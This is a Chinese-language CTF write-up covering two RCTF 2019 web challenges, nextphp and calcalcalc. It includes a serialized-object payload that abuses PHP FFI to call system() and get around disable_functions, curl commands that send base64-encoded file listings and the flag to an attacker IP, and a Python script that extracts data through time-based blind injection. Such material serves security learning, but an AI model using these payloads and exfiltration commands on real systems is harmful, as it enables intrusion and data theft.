sky's blog

2019 RCTF Web Writeup

字数统计: 3,244阅读时长: 14 min
2019/05/18 Share

前言

本坑开的好久了= =,但一直太忙了,现在已经是7月了,都想不起来还有啥题了,只把坑先填上了~

nextphp

拿到题目

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

列目录查看一下

1
http://nextphp.2019.rctf.rois.io/?a=var_dump(scandir(%27.%27));

得到

1
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(11) "preload.php" }

发现存在preload.php页面,尝试读源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

尝试查看限制,读取phpinfo(),发现open_basedir限制:

发现disable_functions限制:

基本可以确定,又是一个bypass open_basedir和disable_functions的题目。
有了之前0ctf和*ctf的参考,我可以基本确定,这道题应该有某些拓展或者文件可以利用,否则很难达到目标,那么preload就是一个突破口,可以得知:

同时发现题目是php7.4,开启FFI扩展:

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
FFI的使用非常简单,只用声明和调用两步就可以,对于有C语言经验,但是不了解Zend引擎的程序员来说,这简直是打开了新世界的大门,可以快速地使用C类库进行原型试验。
php样例如下:

1
2
3
4
5
6
7
8
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>

可以发现FFI,可以直接调用底层c的函数执行命令,我们搜索一下:
printf对应的申明:

那么搜索system对应的申明:

将官方样例改写:

1
2
3
4
<?php
$ffi = FFI::cdef("int system (const char* command);");
$ffi->system("ls");
?>

利用序列化触发,构造序列化为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜ cat 1.php
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => "int system (const char* command);"
];

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
}

$a = new A;
echo serialize($a);
➜ php7.4 1.php
C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}

得到序列化:

1
C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}

尝试执行命令:

1
http://nextphp.2019.rctf.rois.io/?a=$a=unserialize('C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}');var_dump($a->ret->system('ls'));

直接执行命令只返回int(1792)等,于是考虑用盲打,为了防止特殊字符,我们使用了Base64:

1
http://nextphp.2019.rctf.rois.io/?a=$a=unserialize('C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}');var_dump($a->ret->system('curl ip:23333/`ls / | base64`'));



可以成功列目录,找到flag,继续读文件:

1
http://nextphp.2019.rctf.rois.io/?a=$a=unserialize('C:1:"A":96:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:33:"int system (const char* command);";}}');var_dump($a->ret->system('curl ip:23333/`cat /flag | base64`'));

得到:

calcalcalc

题目概述

这是一道很有趣的题,题目使用了拟态的构想,使用了三种后端:nodejs、php、python
原理很清晰,我们input的参数,会分别进入3种后端进行执行,如果3种后端最后的返回值不同,那么则认定为无效,会做一些处理。如果返回值一致,认定为安全,则将执行结果返回。
我们简单测试一下:

当执行结果不同时,返回禁止事项:

1
That's classified information. - Asahina Mikuru

如果结果一致时:

则正常返回结果。

后端分析

题目给出了环境代码,我们简单看一下:
首先是python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, request
import bson
import json
import datetime
app = Flask(__name__)

del __builtins__['exec']

@app.route("/", methods=["POST"])
def calculate():
data = request.get_data()
expr = bson.BSON(data).decode()


return bson.BSON.encode({
"ret": str(eval(str(expr['expression'])))
})

其中做出了一些限制,例如:

1
del __builtins__['exec']

但其确实直接会eval参数

1
2
3
return bson.BSON.encode({
"ret": str(eval(str(expr['expression'])))
})

除此之外还设置了timeout:

1
timeout = 1

然后是php代码:

1
2
3
4
5
6
<?php
ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSON\toPHP($input);
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);

我们发现其也会直接执行命令:

1
2
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);

同时也设置了相关设置:

1
2
disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log
max_execution_time = 1

最后是nodejs:
同样做出了时间限制和一些过滤:


并且也会直接执行参数:

简单对这3种后端做一个总结,都过滤了个别危险函数/库,都做了超时设定。都会直接eval输入的参数。

攻击思考

看完后端,我的第一反应:每一个后端都是直接进行eval,并没有预执行,或者放在sandbox中执行,那如果我们的恶意参数输入,确实是先执行后,才比对结果,那么最多只会看不到回显而已,按照规则,只能得到:

1
That's classified information. - Asahina Mikuru

但我们的恶意代码确实已经执行了。顺着这一点,我尝试考虑数据外带,例如:

1
curl ip:23333/`ls | base64`

但是很遗憾:
从docker-compose.yml中可以看到,3台后端都在内网中,ip分别为:

1
2
3
nodejs 10.0.20.11
python 10.0.20.11
php 10.0.20.11

我们并不能外带数据。那么有没有什么其他方式可以获取命令执行的数据呢?
这里可以参考我之前写过的一篇文章:

1
https://skysec.top/2017/12/29/Time-Based-RCE/

这篇文章介绍了2种外带数据的方法,第一种就是前面所说,利用curl / ping的方式,而第二种,则是本次用到的方式,即Time Based Rce。
想必大家都对sql盲注耳熟能详,其中有一种类型的注入叫做基于时间的sql注入,其原理是因为无论攻击者如何测试,网页回显永远保持一致,而攻击者只能通过时间来判断自己的结果是否成功。
对于这里的情况正好符合需求,因为我们无法得到命令执行回显,但可以得到网页执行的时间。
简单思考一下,前端做出的响应,一定是在3种后端都执行完毕后才进行响应。那么整个响应时间就会由3种后端,响应速度最慢的一个决定。那么我们是否可以只关注其中一个后端,让他的响应时间变为立即响应 / 延时5s响应,那么整个前端的时间就会变成立即响应 / 延时5s响应,那么我们就能通过前端的响应时间,来判断其中某个后端的执行结果是否成功。
但是这里我们遇到问题,不难发现,出题人在3个后端中都设置了超时1s的操作。
但是测试的时候,我惊奇的发现:

我可以通过sleep函数成功控制响应时间。随机我马上测试了一下,判断这是哪个后端产生的问题:
对于nodejs:

我们发现nodejs并没有sleep这种函数,那么问题一定是在python或者php上。
为了测试python,我构造了一个死循环:

我尝试将这个List不断扩大:list(range(10000000)),用以加大整个后端的执行时间,但是此时抛出了另一种回显:

随机我去查看代码,发现了还有另外的检验:


这里对长度做了校验,要求小于15.同时有正则需要进行bypass。
我们简单测试:
14个1时:

15个1时:

这里的长度限制极大阻碍了我们进行bypass,同时从正则来看,我们所拥有的只有字母、数字、加减乘除,这对我们进行命令执行,数据盲注产生了极大的阻碍。

getflag

那么为了成功的进行数据外带,我们开始思考如何bypass长度限制,因为字符正则并不是非常严格,我们可以想办法进行bypass:

1
2
3
4
5
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}

我们看到,只要(args.object as CalculateModel).isVip为true,即可不进入if操作。
我们跟进,发现isVip的值默认为false:

故此我们可以构造json数组如下:

可以看到400的Response已经回显正常,变为禁止事项。(至于为什么没有正常回显,是因为数字较大,三种执行体的结果不一致)
那么既然可以正常bypass长度限制了,那么我们可以进行正则bypass。想到正则中有加号,而加号在python里可以用于字符串拼接,那么不难想到chr()的拼接方式。我们首先测试exp:

1
(ord(open("/flag").read()[0])==1) and set(1 for i in range(1000000000))

如下测试我们发现:

当读取flag数据值不匹配时,不会进行set(1 for i in range(1000000000)),而当匹配后会正常执行。(但这里由于写的太大,所以并没有进行延时,而是直接报内存错误)
那么我们将range缩小一些:

1
(ord(open("/flag").read()[0])==1) and set(1 for i in range(10000000))

再利用脚本将其转chr():

1
2
3
4
5
c = '''(open("/flag").read()[0]=='a') and set(1 for i in range(10000000))'''
res = ''
for i in c:
res+='chr(%s)+'%ord(i)
print res[:-1]

得到:

1
chr(40)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(34)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(91)+chr(48)+chr(93)+chr(61)+chr(61)+chr(39)+chr(97)+chr(39)+chr(41)+chr(32)+chr(97)+chr(110)+chr(100)+chr(32)+chr(115)+chr(101)+chr(116)+chr(40)+chr(49)+chr(32)+chr(102)+chr(111)+chr(114)+chr(32)+chr(105)+chr(32)+chr(105)+chr(110)+chr(32)+chr(114)+chr(97)+chr(110)+chr(103)+chr(101)+chr(40)+chr(49)+chr(48)+chr(48)+chr(48)+chr(48)+chr(48)+chr(48)+chr(48)+chr(41)+chr(41)

测试一下,在匹配失败时:

在成功时:

可以发现时间大致一致,那么这是为什么呢?按照正常情况下来说:

应该在条件满足情况下会延时1s,而条件成立时应该立刻反馈,时间小于1s。那么应该可以通过1s这个分界点,判断是否执行成功。那么为什么现在的时长这么大,并且非常接近呢?
这里想到应该是在后端nodejs crash导致的不稳定性,由于裁决器需要交互,而nodejs一直处于crash的状态,迟迟不进行response,导致整个页面加载时间很长。所以这里不难想到需要阻止node js的语法错误。
那么自然可以想到使用注释符,但是如何保证python也运行正常呢?
观察正则的符号,仅有//可用于注释,而//又刚好是python的除法,那么我们可以构造

1
1//1 and (ord(open("/flag").read()[0])==1) and set(1 for i in range(10000000))

这样在php和nodejs中,只会剩下1,而在python中剩下的却是整个exp。这样一来我们可以避免nodejs或者php的crash等时延因素,单纯靠python进行时间延迟注入,带出数据。所以Bypass exp可以为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import time

def transfer(s):
ss = "+".join(["chr({})".format(ord(i)) for i in s])
return "eval({})".format(ss)

cat_flag = transfer('open("/flag").read()')

url = "https://calcalcalc.2019.rctf.rois.io/calculate"

headers = {
'Content-Type': "application/json",
}

base = "1//1 and not (ord({}[{}]) - {}) and set(1 for i in range(1000000000))"

def test(exp, cnt=0):
payload = "{\n\t\"expression\": \"" + exp + "\",\n\t\"isVip\": true\n}"
try:
response = requests.post(url, data=payload, headers=headers, timeout=0.5)
print(response.text)
return False
except:
if cnt < 5:
time.sleep(3)
return test(exp, cnt+1)
return True

flag = "RCTF{watch_Kemurikusa_to_c4lm_d0wn}"

for i in range(len(flag), 36):
for j in range(127,31, -1):
print("flag {} {}".format(i, j))
time.sleep(0.5)
exp = base.format(cat_flag, i, j)
if test(exp):
flag += chr(j)
break
if j == 32:
flag += '?'

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. nextphp
  3. 3. calcalcalc
    1. 3.1. 题目概述
    2. 3.2. 后端分析
    3. 3.3. 攻击思考
    4. 3.4. getflag